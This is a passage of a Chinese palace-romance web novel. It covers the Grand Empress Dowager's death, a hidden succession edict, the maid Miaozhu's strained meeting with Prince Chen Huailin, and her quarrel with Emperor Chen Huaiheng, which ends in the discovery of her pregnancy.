一夜未眠,又直接赶去了早朝,本来还是做戏,后来也真生出了几分疲惫。 回去的时候妙珠还在床上,仍旧没有醒来。 以前她是醒得鸡都要早一些的,可懒怠久了,醒得便也晚了。 陈怀衡对此乐见其成,人都是有惰性的,他想,妙珠舒坦日子过多了,也总能安生下来的。 他也时常觉得奇怪,他什么时候对妙珠的要求,竟然变成了“安生”二字。 人都是有所图的,说句自私的,除了对自己别无所求外,总是想要从旁人的身上获得些什么的。陈怀衡不知道要从妙珠身上得到什么,现在唯一的愿景竟然是,她安生一点 或许也是意识到强权并不能让她低头,陈怀衡也一再放低自己的要求底线。 她安生一点就好了。 世人茹柔这话并不假,若你是个软包子,就可着你捏,可你若硬气,比皇帝还硬气一些,那不行了,皇帝还真拿你没办法。 她现在就是天王老子,狂性得很。 陈怀衡坐在床榻边,熬了一夜,身体疲惫,脑袋也跟着混沌,神思飘着飘着就不知道飘哪里去了,就连妙珠醒过来了都不知道。 妙珠一睁眼就发现陈怀衡坐在旁边一动不动,她出声喊了他一声,陈怀衡回头看她,道:“醒了?” 妙珠撑起身坐好,看他这一身行头也知这是刚下了早朝回来,她问他道:“你昨个儿夜里去哪了?” 她昨日半夜口渴得很,醒了过来,扭头却见身旁空空如也,也不知那个时辰陈怀衡是去了哪里,只是她也没有深想,自顾自就睡过去了,清晨那会又醒了一回,陈怀衡仍是不在。 他一夜未归。 乾清宫里头安安静静的,外头的吵闹哭声同这处没有丝毫的干系,可妙珠好像还是隐隐约约察觉到了一丝不寻常的气息。 应当是出事了吧。 陈怀衡自顾自开始卸下冠冕,脱去龙袍,他一边动作,一边回了她方才的话:“昨个儿夜里太皇太后薨了。” 妙珠听到这话哑然片刻,而后有些不可置信地去问:“薨了?” 上回见她的时候她好像还是好好的,竟这么突然就死了,竟真就死于那场风寒。 只是对于一个本来还算康健的人突然死亡感到惊奇,其余的情绪,却再没有了。 她对死亡这种东西快接受得驾轻就熟,更何况从上回陈怀衡口中听说,她便是当初那个害了宁煦落水的人,想当初太皇太后还在乾清宫安插过眼线,陈怀衡的话其实也并没有不去相信的道理,以至于对于太皇太后离世一事,她没能有太多的情绪。 她更关心的是另外一件事。 陈怀霖昨日匆匆进宫,也正是因着太皇太后病重,那今日他在吗?他和太皇太后的干系不错,现在应当很伤心才是。 妙珠试探去问:“他还在吗?” 陈怀衡已经重新进了被子里头,刚想伸手把她抱进怀中,结果就听得这么一句。 他一夜未睡她倒不曾关心,结果第一句话就是去问那陈怀霖的事情。 看不到他正累着?上来先去问别的男人。 小瞎子,白长那么大一双眼,什么也都看不见。 他没有说话,装做听不见,看她也来气,转过了身去,不搭理她。 妙珠见他不说话,便又道:“你不是说好可以让我和他见一面的吗,今天行吗,就今天” 她真得很想见他一眼。 她絮絮叨叨说着,陈怀衡恨不得拿条布塞她嘴里面得了,他气得咬牙切齿,终于有了反应,他转回头去,近乎是在瞪她:“再吵这辈子都别见了好。” 妙珠终于是安静了,看着陈怀衡发了火,只紧抿着唇,眨巴着眼睛不敢再吭声了。 她是不怕他生气的。 她只是怕他若气起来真不叫她去见了。 陈怀衡见她终于闭嘴,也不再理她,回过了身去合眼休憩,可大抵是叫妙珠气的,横竖是睡不着。妙珠大概以为他没动静是睡着了,便从他的身上跨过往外去。 陈怀衡还听她嘟囔着骂了一句:“小气死了。” 第49章 第四十九章他才是狗吧,他已经被她耍…… 这些时日因着太皇太后离世一事,宫里头上上下下也都忙着。 死后七日最不得安生,陳怀衡善始善终,连带跟着做了七日的戏,總归人死了,七日过后,他也功德圆满,没有什么道理不去做这场戏。 她一死,那掌印太监便扬眉吐气了。 之前因着岑岑的事他没少被太皇太后针对,如今她死了,他便又想着往陳怀衡的晃。 只是,陳怀衡也并没有因为太皇太后离世而就去宠幸他的意思。 又或者说,他对太监群体的疏离也并非全然是出自太皇太后。 司礼监、东厂这确实是些能让他省心的部门,他们的存在,可以为他做很多见不得人的事,可是,他并不需要去重用他们。 他对黃堅白的冷淡一如既往,他在这点上和那死去的皇祖母是相同一致的。 黃堅白也意识到了大势早已随他而去,在懦弱的仁宗离世后,他们早就由盛轉衰。司礼监,终究还是只能是皇帝的私仆,并没有做大的可能性,至少陳怀衡在位期间是不可能的。 今个儿是太皇太后的头七,送过了太皇太后之后,黃堅白便踏着雪回了自己的住所。 京城的最后一场春雪没有想到竟落了整整七日,一直不曾停歇,或许是不甘心,太皇太后那不甘的怨恨将这场雪都拉得离奇长远。 回了住所之后,他先是去看了岑岑。 岑岑现下已经很少去说胡话了,可不说胡话时,他便不说话了。 只是今日不知是怎么了,嘴巴里头又开始絮絮叨叨念起了那句“幺儿要死人喽。” 哎。 黃堅白也难得没有捂着他的嘴,不再叫他去说。 说罢说罢。 黄坚白想着,他自己若运气好些,也还能再挺几个冬季,若挺不过去,也要去喽。 他也难得生出几分苦涩,从没想到几年前被赶出乾清宫后,便再也回不去了。 仁宗在世之时,岑岑尚得帝心,而太皇太后也没想过对他们下手,太监们的日子可比现在好过多了。 “他不是皇帝,他不是” 岑岑不念叨那句傻话了,又开始忽地念起了别的话,黄坚白一开始也不知道他在絮絮叨叨念着些什么,只知道他这是又换句话开始叨叨不停了,凑过去一听,竟只听他在念着:“他不是皇帝他不是皇帝” 这话便太不像样了。 他不是皇帝,谁又能是皇帝呢。 他问他:“傻子,在说些什么呢。他不是皇帝,谁是呢?先帝?他早已经殡天了” “是三皇子,是三皇子!” 岑岑突如其来的发作让黄坚白眉头紧蹙,只覺他这些话实是莫名至极,然而,岑岑忽地起身,跌跌撞撞往衣柜那边去,在那底下掏啊掏,黄坚白起身跟了过去,就见他掏了份圣旨出来。 这圣旨瞧着已有好些年头,外头都已经泛黄乃至破败。 当初仁宗先是立下陈怀霖为帝不错,可后来那份诏书被太皇太后毁掉了,至于岑岑手上这份 是他后来自己背着所有人写的,他重新写了立陈怀霖为帝的诏书,又偷偷拿了皇帝的章印盖上。 他留下了仁宗最先的遗愿。 陛下啊,他原是要立他的三子为帝。 而非是陈怀衡啊。 大概也没人猜到怯懦的岑岑会做这样的事出来,这份诏书他便一直从前朝藏到了今日,便是进了冷宫之中也不曾丢弃。 黄坚白拿过了他手中的东西去看,面色轉瞬大变。 他当了这么些年的掌印,自也知道他这手上的东西是什么,拿在了手上细细看过几番之后,发现上头的章印也确是真的,非是作假。 看这东西有些年头了,是仁宗时期遗留之物。 黄坚白道:“你这可是你写的?” 岑岑神思清明了一会,他的眼中露出一股哀傷忧愁:“是我,可这是陛下最初的愿景。” 那是陛下最初的愿景。 那是陛下最后的愿景啊。 陛下死 了,岑岑还记得。 他最满意的儿子是陈怀霖。 不是陈怀衡。 可是,最后太皇太后拿着剑指他,陛下为了他的性命,也只好听了太皇太后的话,正是因为他,陛下到死都没能安生。 黄坚白从岑岑口中知道了当初的事,知道了当初太皇太后逼迫仁宗立下陈怀衡为帝一事。 太皇太后立下陈怀衡为帝,难道是因为喜爱陈怀衡吗? 那不是的,她这样的人,连儿子都不喜,遑论孙子。 她大概是覺陈怀霖不好拿捏,只有陈怀衡才最适合做傀儡皇帝,才逼仁宗改了遗诏。 知道了这个消息的黄坚白心思一时百轉千回,很快就又生出了一些其他的想法来了。 * 太皇太后的丧事终于辦完,待她头七后的第二日,天上的雪便停了,云霄雨霁,天朗气清,阳光早早就从天际冒了头,转瞬之间布泽人间大地。 妙珠还在一直寻思着陈怀霖的事。 只这七日中,陈怀衡也一直在操劳着太皇太后的丧事,妙珠也不敢在这样的时候去烦他,到时候将他惹恼了,怕又说不让她见陈怀霖了。 只是眼看丧事辦完了,妙珠的心便也不安定了,又开始琢磨起了这事,这日清晨被外头的天光晃醒过来,便再睡不着了,一直躺在床上琢磨着如何去开口。 待到陈怀衡转醒之后,就见妙珠一直眨着眼睛看床顶,看这样子已经醒了有好一会了。 “想些什么呢?” 陈怀衡哪里不知道她在想些什么。 自从说了能让他们见一面之后,这些天估摸着就一直在念着这件事。 不让她见的话,大概也要一直想着,倒不如早些见了,早些叫她死了心。 妙珠还在踟蹰着如何回答,可陈怀衡却先开了口,他声音听着有些冷,道:“你先前怎么答应我的,你先再保证一遍。” 妙珠道:“就见一面而已,我给你生孩子。” 管他那么多以后的事呢,先哄着他,见上了面再说。 她心心念念记挂着他,什么哄陈怀衡的话都能说。 好在陈怀衡也没有去计较真伪的意思。 妙珠现在答应好了就行,往后她若敢反悔,他總能拿了这些话来堵她。 以后便再吵架了,他就该说“那是你自己说的。” 是你自己说要好好过的,是你自己说好要生孩子的。 陈怀衡起身下榻,道:“一会下了早朝我带他来,记住,这回是来断的,不是给你用来叙旧情的。” 有了陈怀衡这话后,妙珠便一直在殿内等着。 分明是要见面了,可这一刻竟生出了莫名的心慌,大概是类似于近乡情怯之情,明明站在家门口了,却又不敢进门。 殿下 她一会应该同殿下说些什么呢?他们若是只能说这最后一次话,那该说些什么呢。 她不安地等待,终于等到了陈怀衡他们回来。 他也果真没有骗她,为她带来了陈怀霖。 许是因着太皇太后的死对他打击颇大,容颜虽依旧,然而看着竟也有些憔悴,下颌处都冒出了些许的青茬,依稀能看出疲惫。 陈怀衡是将人带来了,可却没有要出去的意思,俨然是要在旁边盯着他们。 妙珠对他道:“就说几句话,就几句而已,你出去先行吗。” 他在旁边瞧着,他们有什么好说的,能说些什么? 陈怀衡岂能如她愿,他不肯,仍旧杵在一旁,道:“你休要得寸进尺了” 话还没说完,妙珠就走到凑到他耳边小声道:“你就出去一会,以后我都听你的,你就出去一会吧求你了。” 他若在旁边看着,他们又何苦见这一面呢?什么都说不了,还见这做什么呢? 妙珠哀求的声音,最后还是让陈怀衡动容。 就像是祸国妖妃,總是会做出一些让主君没法拒绝的事情,陈怀衡觉得大抵是那些君主心智不坚,竟会被这些东西诱惑,可如今搁到自己的身上,他又觉是人之常情了。 她都求你了,你还想怎么办? 把她弄恼了,又是一阵不消停。 现在的妙珠哪里还有这么好对付啊。 况说,本也就是他先答应得她。 那只是一些无关痛痒的小事罢了。 他想,他们也只是说几句话罢了。 妙珠哪里知道她就那么一句不走心的话,让陈怀衡想了一大堆东西出来,陈怀衡就这样自己哄着自己,给自己哄了出去。 待他从这里面离开之后,殿内便陷入了一片短暂的死寂。 妙珠看向陈怀霖,陈怀霖也看着她。 还是妙珠先开了口:“殿下,这些天你还好吗。” 妙珠甚至觉得自己这话有些明知故问了。 他看着好像不大好的样子。 是太皇太后的死对他的打击太大了一些吗? 妙珠想问他,可是怕提起来后又是一桩隐秘的傷心事,最后也仍旧是闭口不谈。 陈怀霖的眼中似是充满了哀傷。 他也确实是哀愁的。 他要怎么去面对那一切?最慈爱的外祖母,最后死前却非想拉着他一起下地狱。 凭什么呢? 凭什么这样对他。 陈怀霖始终想不通。 始终是想不通 他能想通很多的事情,可偏偏这件事情就像魔怔了一样,怎么都想不明白。 陈怀霖的痛苦被妙珠看在眼中,她想上前宽慰他,想抓着他的手让他不要伤心,語言在这个时候已经没办法表述她的情感了,她只想用她的实际行动去宽慰他。 就像是从前他宽慰她那样。 但,她不敢。 她知道的,陈怀衡一定还在外面看着。 如果她胆敢做出些什么逾矩的动作,他马上就会进来的。 而陈怀霖看着面前的女子,脑海中想起了太皇太后死前留下的那些话。 他分明知道,她留下那些话无非是故意为了刺激他。 可是,那些古怪的情绪却如她所愿疯一般的生长。 悲痛、不安、愤怒,乃至惶惑,就像是一场潮湿的雨,轻而易举地就将他的那颗心腐蚀。 他是实际上的,父皇最疼爱的孩子。 他不用去怀疑太皇太后所说的话的真假,因着昨日夜里,黄坚白又找上了门来。 他的手上带着先帝的遗诏,和当初的那份传位诏书如出一辙,只是,这上面写着的是“吾子怀霖”而非是“五子怀衡”。他知道黄坚白的心思,给他这东西无非是想在他面前讨个巧罢,总归陈怀衡已经不会再器重他,往后若他能够用着这东西改天换命,只是往后不要忘了他罢,若改不了,那他也不亏,横竖就这样了。 这对黄坚白来说无关紧要的诏书,却彻底将陈怀霖那颗心变得不成样了。 父皇啊。 你死前又遭致了怎样的苦楚呢? 妙珠。 而妙珠。 她更不该被陈怀衡这样欺负。 阴差阳错的,就那么一点点。 陈怀霖的眼神看着实在有些太苦涩了,看得妙珠也跟着心折。 “殿下,你到底是怎么了呢” 陈怀霖牵强地扯起了个笑,对她道:“没事的,我没事,妙珠。” 然而他这幅样子却更叫妙珠难过。 哪里就没事了? 都这样子了,怎么还说是没事呢。 今日的天气分明这么好,今日的太阳分明这么大,他怎么突然就看着像是生了锈一般,身上的朽味都快冲到她的鼻腔中了。 妙珠甚至都能从他眼中看到莹莹泪珠。 看陈怀霖流泪的事她实在做不到,她的声音都有些急了,情不自禁抓住了他的手:“殿下,你怎么了,是因为太皇太后伤心吗?” 妙珠话还不曾说完,就叫陈怀霖打断,他道:“我不想娶她,我不喜歡她。” 他这话说得没由来得突兀,可妙珠却很快明白了他在说些什么。 是在说他近来那桩就要定下的婚事。 妙珠心里面难受得更厉害了 些。 这事,这事全都怪她,是她连累了他。 是她连累了他草草成婚。 妙珠道:“殿下,是我的错。” “不怪你的。”陈怀霖的声音清朗,只说这话时仍旧是给人一种强撑之感,他说,“妙珠,不怪你的。” 妙珠抓着他的手更紧了,眼中也朦朦胧胧蓄上了泪,她张合着嘴想说些什么,陈怀衡却从殿外大步走来。 显然是妙珠那情难自禁的动作招莱了他。 他的视线在那两人之间来回去看,只见妙珠一副伤心欲绝之势。 就说这么几句话的功夫就把人惹成这样了?陈怀霖他也当真是好本事。 陈怀衡脸色难看,寒声对他道:“给朕滚出去。” 待在这里也只会用这些下三滥的手段弄得人难受。 陈怀霖听陈怀衡赶人,也不再继续多待,转身朝着殿门走去。 妙珠不想他走,甚至还想去追他,陈怀衡一把将她扯住,妙珠不死心地朝着他伸手,口中还在无措地喊着:“殿下殿下!” 陈怀霖的背影看着竟那般决绝,过了许久,才终于顿步,他回来一点点的头,对她道:“妙珠,不要担心我了,你往后便好好过吧。” 好好过? 他还想她怎么好好过? 陈怀衡在一旁听得牙都快咬碎,若他真想让她好好过,何须弄得一幅半死不活的做派,除了让她更放不下他,又还能如何呢。 早知他存了这种心思,今日便是见都不能让他们见,见了一面后,只怕往后是更放不下他! 陈怀霖的身影消失在了此处,妙珠的哭声再无法压抑,她被陈怀衡钳制在怀中,泪流满面。 陈怀衡见她这幅模样,冷了声,抓着她的肩膀道:“你都怎么同我说的?你见他之前都是怎么同我说的?不是说好了见过这次就够了吗,拉拉扯扯不算,还为他弄得这般寻死觅活。” 妙珠只是哭,她道:“你让我怎么够?够不了。” 她又道:“他压根就不想成婚,你为什么要逼他!” “为什么?”陈怀衡看着她反问,“你自己说是为什么?!” 说来说去,若他们之间不在私下苟合,他能这样急? 陈怀衡看着妙珠,面无表情道:“是你逼我的,妙珠,明明是你逼我的。” 妙珠忍无可忍,不要再受下这些莫名地指摘:“我逼你?到底是谁在逼谁?” 都这样的境地了他竟然还要颠倒黑白。 陈怀衡见妙珠还在为陈怀霖同他呛声,想到两人方才做派,他夹在这中间反倒是那棒打鸳鸯的小人,他再也忍受不了,近乎是吼出声道:“他到底是哪里对你好了,不过给你送个两条帕子,说些甜言蜜語,这你便当真了?!总为他和我来闹,你当我没脾气不是!” 妙珠叫他吼得一激灵,抹了把眼泪,使劲推搡了他一把,陈怀衡一时不察叫她正正好推了个踉跄,他眼中怒气更盛,妙珠才不管他,直接回道:“他怎么就对我不好了?难道不比你好吗?你成日就会吓唬我,糊弄我,你总说他会说甜言蜜语哄人,你说过几句?只我也不稀罕你的甜言蜜语,他好歹把我当个人,你呢?你拿板子打我,拿剑指我,我就是你的一条狗,你高兴了哄哄,不高兴了呢,连个清白都不愿意给” 陈怀衡总说从前的事没什么好计较,他总是说翻篇别管。 他翻篇翻得好轻巧,好轻飘飘,说翻就翻,想翻就翻啊。 只是对妙珠来说。怎么翻?翻不了。 做错事的分明就是他,他又凭什么吼她?! 想到这,妙珠也大声吼他:“我不去喜歡他,我难道喜歡你吗?我不敬仰他,难道敬仰你吗?!” 陈怀霖至少信她。 所有人都诬蔑她,不信她的时候,只有他在问她疼不疼。 而陈怀衡呢。 她疼的快死掉了他也看不出来,他只会说,三十板子根本就没有伤到你啊,你在闹些什么呢? 陈怀衡被妙珠给吼愣住了,反应过来后,脸色阴沉难堪,可妙珠吼完了他后,自己却又委屈难受了起来,她说:“殿下也不嫌我,我同他两情相悦,你何必这样呢,就当我从前服侍你尽心尽力,你行行好,给我个善终不行吗。” 毕竟人是不会知道自己从来没有见过的东西的,妙珠也不明白清楚什么是爱,就像陈怀衡不知道那样不知道。妙珠从来没有见过爱是什么东西,她也不懂自己到底喜欢不喜欢陈怀霖,她只是知道他帮过她,在她一次一次没脸的时候帮过她。 她不喜欢像是陈怀霖那样的人,难道是喜欢像陈怀衡这样只知恐吓虐待她的人吗?她是生了什么痴病吗。 妙珠说,她同他两情相悦。 她和他两情相悦 那他呢? 他算是什么! 陈怀衡不知是从什么时候开始,双目都变得赤红一片,他朝她迫近,一边质问:“我行行好?我给你个善终?谁来给我善终?!” 明明是她,是她自己一开始说过的那些哄人的话,现下好了,把他哄得晕头转向无法自拔以后,她想丢开他就丢开他。 杀她杀不得,求她求不得。 到底谁才是狗? 他才是狗吧,他已经被她耍得团团转了。 第50章 第五十章你不腻歪吗 陳怀衡大步朝着妙珠走去,理智也快渐渐被她那些话击溃了。 她是想逼他,想把他逼疯是吧? 陳怀衡这一刻真恨不得掐死她。 掐死了干净。 倒不如真掐死了干净。 她说这些不就是想他杀了她嗎? 妙珠一步不退,便这样梗着脖子和他作对。 一直到陳怀衡走到她面前,妙珠却不知怎地从胸口涌起了一阵恶心。 再后来,那股恶心再也忍受不住,她弯腰呕了起来。 陳怀衡见她竟是吐了,以为她竟嫌他到这种地步,他的臉色更叫难堪,然而,转瞬却又想到了什么,面色又是一变,马上让人去唤了太医过来。 太医很快得令赶来了这处,陈怀衡让人进来处理了殿内的秽物,又把面色惨白的妙珠从地上拉起来,亲自处理了她身上的髒污就带着她去看太医。 誰知妙珠却死活不肯去看,她用力挣开了陈怀衡的手,道:“我没病,我不要看太医!” 同她相比,陈怀衡倒冷静多了。 方才的怒火不知道是从什么时候消退的,面上没甚情绪,他冷眼看她,问道:“这月的月事来了?” 妙珠早在方才作呕时就已经猜到了,然而听到陈怀衡这话,面色只是苍白得更厉害了些。 没来。 好像是真的没来。 趁着妙珠走神的功夫,陈怀衡已经抓着她的手往外去见太医。 他不顾外人,强行按着她给太医把脉。 太医见他们这幅架势,只觉稀奇又可怕的,也没敢多看多想,伸出手去替她把了脉。 妙珠一开始还在闹,可看到那胡须发白的老太医之后便也再闹不下去,认命地合了眼,任他把着。 也不一定的。 其实也不一定的。 哪有这么快呢。 怎么避子药一停,这孩子就来了呢。 不会这么快的。 妙珠安慰着自己,可下一刻,所有的希望都叫打碎。 “恭贺陛下,姑娘是有了龙种了!” 妙珠听到这话,如同晴天霹雳,耳朵都嗡嗡嗡得响,没能反应过来,只觉身上冷一阵热一阵,一口气没提上来,就这样直挺挺昏了过去。 陈怀衡都还没来得及高兴,就看妙珠晕倒,好在太医就在,将人放去了床上又是一阵忙活。 妙珠不知道自己昏了多久,她好像落进了一场逃不出的夢境。 怎么跑,也跑不出。 就像是小的时候发了热病,身体难受得要命,脑子里面也开始糊糊涂涂地做一些光怪陆离的夢。 妙珠落入了虚无的夢境。 她夢到了幼年时候在村子里面的生活,那个时候小妹还活着,她还在,每天跟在她的屁股喊阿姐,后来唔,小妹没了,她就那样躺在 她的怀里面咽了气,后来的后来,母亲也当着她的面咽了气,血快要瞎了她的眼,妙珠好像再也走不出来了。宁煦落水的那天,她被千夫所指,就连口口声声说会善待她的陈怀衡也不站在她那邊,妙珠已经要被老天爷压成肉饼了。 她太想向前看了,可是一想到那些不忍卒读的过去,她就再也要爬不出来了。 那些事情就像是一块块大石头,挂在她的脚上,把她往地狱里面拽,她怎么都活不起。 妙珠喘不上气了,她从眼缝中开始滚出一滴又一滴硕大的泪珠,顺着她的眼角滚落,沾满了枕巾。 天也不知道是从什么时候开始黑得沉了,陈怀衡一直守在榻邊,他感受了妙珠的痛苦,抬眼去看,就见她那张臉不知道是从何时渗满了泪,整张小臉拧巴在一起,看着难受至极。 “妙珠”陈怀衡看得心髒莫名跟着疼,他轻轻拍着她的臉,唤她道:“妙珠,你醒醒,醒过来,醒过来” 陈怀衡就这样一直不厌其烦地唤着她,终于将她从梦魇之中拉了出来。 妙珠恍地睁开眼,看到陈怀衡坐在床邊,她的泪还在无意识流着,那双眼睛红得不像话。 许是昏过一场,身上的锐气也褪了个干净,她整个人哭得没了形状,悲伤得就像一滩随时都能流走的水。 两人早上那会还气势汹汹恨不得给对方都来一刀了才好,可这会安静了下来,又像是什么事都没发生过了一般。 太医说妙珠是情绪太过激动才昏了过去的,没什么大碍。 只是又说,她现在的状态很不好,郁结在心,没病也会憋出病来的。 陈怀衡见她还哭着,心也疼,他将她抱起了身,让她靠在了自己的胸膛前,一邊拍着她的背,一边问道:“都是梦到些什么了,哭成这样?” 人在脆弱的时候,难免会下意识去依靠别人,陈怀衡很机敏地抓着这个时候把自己的胸膛递给了妙珠。 他也控制不住自己想要把她揉到骨头里面的心。 妙珠果真是没再闹了,又或者是说,实在是没力气再去闹了,她靠在陈怀衡的身上,任由他轻拍着她的背,甚至连一丝挣扎都没有。 她甚至心平气和地开口,回答了陈怀衡的话:“还能梦到什么呢?梦来梦去也就是些伤心事。” 梦里头的事情哪里能记得清楚呢?浑得像是一滩浊水,梦醒之后,再倒出来便是一些看不清细节的大概。 不待陈怀衡继续开口,妙珠又自顾自说下去,她道:“梦到了一些小时候的事而已。你或许不知道,我还有个外祖。” 陈怀衡用下巴蹭了蹭她的脑袋:“你有母亲,有妹妹,你是没和我说过你有个外祖。” 妙珠靠在他的怀中和他说起了那些往事。 她说:“我还没有和你说过,我母亲是个妓子你都不知道,我小的时候是怎么长大的,外祖总是会带一些男人回家,把他们带去母亲的房间里头,有的时候只有一个,有的时候厉害一些,还会一次性带上两三个人来,你知道他们在母亲的房间里面做些什么事嗎?你应当是能猜到的吧。母亲脑子不好,有时候连身子都洗不干净。你知道嗎,我四岁大的时候就已经会帮母亲洗身子了。” 妙珠说起这些,脸上竟没甚表情,就连难堪也再没了。 她说:“母亲总说,她的血是髒的,我的血也是髒的。” 她想,如果这样的话,那她生下的孩子,血是不是也是脏的。 “还要不要我生?我生下的小孩,血也是脏的。” 陈怀衡听了妙珠的话后,愣了好一会。 那想起了从前的时候,他那时候也总是在想,这世上怎么会有人像妙珠这样没骨头呢? 如今听了后也觉无力。 能怎么辦啊。 日子本就难看,再要骨头无异于要她的命。 陈怀衡从前总是觉得,妙珠只是一个小宮女 不,妙珠不是小宮女。 她是他的女人。 他是她的男人。 就当是他那古怪的心又一次作祟。 她一说这些话,他就控制不住心疼。 心实在是控制不了的東西。 就连骗都难去骗。 陈怀衡亲她,亲她的脸,他难得没那么残暴,没那么狼吞虎咽,他亲她,就像是在对待一件价值千金的物品一样,他在用她的实际行动告诉她答案。 “脏脏脏,脏些什么呢脏。听你娘胡说八道些什么呢,生不带来死不带去,有什么可脏的。” 陈怀衡这样的人说这些话就太没信服力了,他是最不该说这样话的人了。 他是生不带来的,死了以后可是有一箩筐的好東西陪葬。 他说的这话太过好笑了,妙珠也实在忍不住笑了,她道:“你竟也会说些哄人的话了。” 可不得哄着她。 他现在想起来也还牙酸,他想妙珠脑子还是不大灵光,陈怀霖就那么几句话给她钓得不上不下,那既她爱听,那他也说。 “他们都只知道骗你,他们就只会说些口是心非的话来哄你,只有我才对你最好呢,你知不知道?嗯?你知道不知道?” 妙珠任他亲着,任由着他胡说,只那泪还是流不停,她问他:“那我给你生个孩子,你往后能放过我嗎?” 陈怀衡的动作蓦地一顿。 放过? 放过誰? 他要的是妙珠,又不是孩子。 孩子不能让他的心里头舒服,妙珠陪在身边才会。 妙珠哭得心伤,可陈怀衡仍旧是两个字绝了她的念想。 “不能。” 还是那句话。 妙珠,死了都要带上你。 活着更不能放手。 妙珠听到这两个字后,却也不曾生怒,只是讥讽地笑。 早知道的答案,现在听到又有什么好生气呢? 陈怀衡见她又哭又笑,却总觉是有什么东西要从手中溜走了似的。 他不是正抱着她吗? 怎么总觉得下一瞬她就要消失不见了呢。 陈怀衡觉得自己越发疑神疑鬼,他只是将人抱得更紧了一些,来赶走心中那怪异的感觉。 他说:“生下来吧,妙珠,以后好好过吧,孩子都有了,就好好过吧。” 孩子在这样的时候来了,难道不是天上的恩赐吗。 妙珠觉得好笑,问他:“这时候不嫌我卑贱了?这时候又允许卑贱的我来生下你的孩子了?我是个维持不起礼义廉耻的人,那我的孩子维持得起吗?” 妙珠又开始算旧账了。 陈怀衡意识到,这笔旧账不去算干净,妙珠永远都要放不下。 有些事情,一味的逃避是没有用的。 不去面对,将来只会成为一道梗在心中的利刃,不知道什么时候就往心口上刺一刀。 没辦法。 他太懦弱了,在这方面,竟可耻的胆小懦弱,若说他在其他方面有多蛮横霸道,那在这方面就有多么胆小无礼。 当然,两者其实也并不相悖。因为至高无上的权利,将他滋养得不通人情,所以在碰到错处的时候,也更不能容许他去承认错处。 他难道会不知道自己做错了事吗。 喂,怎么可能呢。 是个人都知道,他做的那些不是人事,他自己怎么可能不知道。 可是。 他不在意。 他说到底就是不在意。 他总觉得妙珠好听话,是世界上最听话的人了,他总觉得一个宮女用不着他费心思,不值得他费心思,认错什么的,更不用想了,从来都只有奴婢给皇帝认错的份,断是没有皇帝给奴婢认错的道理。 陈怀衡都快忘了从前发生了什么,那些事情被他选择性遗忘,被他选择性忽视,他再不想去面对曾经发生的那些事,不想要去面对对妙珠做过的那些事 身为皇帝,对宮女那般,有错吗? 没错的,誰都不能说他有错。 就连一品的大臣拉过来,那也是这样,何况一个宫女呢? 可是,此刻。 他们之间已经不能再单纯地去用皇帝和宫女的关系去看了。 因他 动机不纯。 因他心思不正。 他要当她的男人。 他偏偏要让她安安生生留在他身边。 所以,一切的一切都反过来。 一开始的时候,只是想着把妙珠这个好玩的东西留在身边,可是现在,他就想要和她好好过日子。 她是人,不是物件。 这是妙珠一次又一次的反抗告诉他的事实。 人教人教不会,事教人一次就会。 他大可以再那样蛮横粗鲁地对她,她全盘接受,却永远不会和你妥协。 妙珠也总喜欢自轻自贱,可是她的行动却又一次一次地告诉陈怀衡,她是人,他休想将她当成一个可以随意揉搓的物件。 毕竟最坏的打算也不过是死一字罢了。 在面临生死这样的情形下,陈怀衡已经逃避不了,他必须去面对,他又必须去问自己一个问题。 你能接受妙珠的死吗? 不。 不。 光是想想都浑身打了个冷颤。 生啊死啊的事是最直观的了,这些事情是不用多加思索就能得出的答案,更不用等事情发生了过后再去后悔,生死二字,任何人在这个字眼面前都不得不去重视起来其严重性。 所以啊,陈怀衡,逃避可耻,现在生死摆在你面前,你必须得去正视这些问题。 妙珠在这方面不可不谓之刚强,如经霜弥茂之松柏,他再多的手段也使不到她的身上去了。 可在另外一方面,她却又脆弱得像是望秋而落的蒲柳一般,三十板子,彻底将她的心打死了。 她承受不起,他亦承受不起。 妙珠问他,这时候不嫌她卑贱了?这时候她又维持得廉耻了? 陈怀衡觉得自己的心脏就是一块破抹布,随便被妙珠的几句话就拧得又紧又烂。 而一个人卑贱与否,用出身来衡量也是最没意思的了。 当然,是妙珠让他意识到这一点。 他就是不嫌弃她。 她说她的母亲是妓子,又说她小时候那样踉踉跄跄的长大,他下意识的反应不是嫌弃,只有心疼。 他恨不得在她小的时候就把她接到身边好好养着,叫所有的混账东西都不要欺负她。 “你不卑贱,是我贱,我贱行不行,礼义廉耻,当真是气恼了才说的,别怪我了,行吗,你不解气,我去抄个十遍书成不?” 他是真没什么廉耻,这话还真不是为了哄人随便说说。 当皇帝的人,要什么廉耻? 他若是要廉耻,走得到如今吗。 廉耻二字,有用的时候拿敬一敬,没用的时候,滚一边去。 妙珠“唔”了一声,好笑道:“没想到陛下竟也是个欺软怕硬的主。” 他说得对,他就是贱得很。 她乖乖跟着他的时候他就爱欺负她,现在她不肯伺候他了,他倒是软声软气,连这样的话也说了。 像陈怀衡这样的人,在他面前乖乖做奴婢竟是最倒霉的。 再说,她曾经也是相信过他的。 可是呢,他到头来怎么对她的? 他现在的这些话搁以前,单纯的妙珠便是信了。 可是现在,她经历了那些事,还怎么去信他?再去信他,也太太太轻贱自己了一些,太太太记吃不吃打了。 妙珠也好想去把曾经受过的那些苦楚都抛出来,都丢到陈怀衡的身上去质问他,她真的好想问问他,他为什么非要那样践踏她的心,奴婢的心就不算是心了吗…… 只现在竟连苦也说不出了。 竟连苦也说不出了。 这算什么事啊。 可是,没有办法啊,她现在和陈怀衡再闹得不可开交也没用,他若真是铁了心不放过她,再和他拗也没办法。 等吧。 等啊。 总能等到机会的。 她才十六岁。 她难道等不起吗? 妙珠无奈地合眼,她喃喃道:“好好过那你还要逼殿下去成婚吗?” 至于陈怀霖,他本也不该受她殃及。 他不愿意成婚,陈怀衡何必如此逼他。 陈怀衡问她:“真好好过?还是哄我?” 妙珠听他质疑,横他一眼,从他怀中挣扎出来,道:“这也不信,那也不信,你爱信不信。” 他疑心病仍旧是这样重。 见她如此,陈怀衡也不恼,又将人抱入了怀中了哄:“你既这样说,听你的就是。你乖乖的不闹腾,我何必同他过不去,只他若下次再惹你伤心,那我不会再顾念着你的话了。” 妙珠听他威胁,没再说,只道:“别说了,我饿了。” 她从早上那会昏了之后就再没用过膳了,是该饿了,陈怀衡也没再继续说了,传了膳食过来。 * 自从那日过后,陈怀衡果真就听了妙珠的话,没再强行逼着陈怀霖成婚。 只是,也断没再给他们两人相见的机会了,他甚至就连新政的事也不再器重于他,他的那些活全都推到了别人的身上。 那日太皇太后死前将他叫去了宫中,不可能什么都没说,可若是说了什么,陈怀霖却也什么反应都没有,如何不叫人去多想? 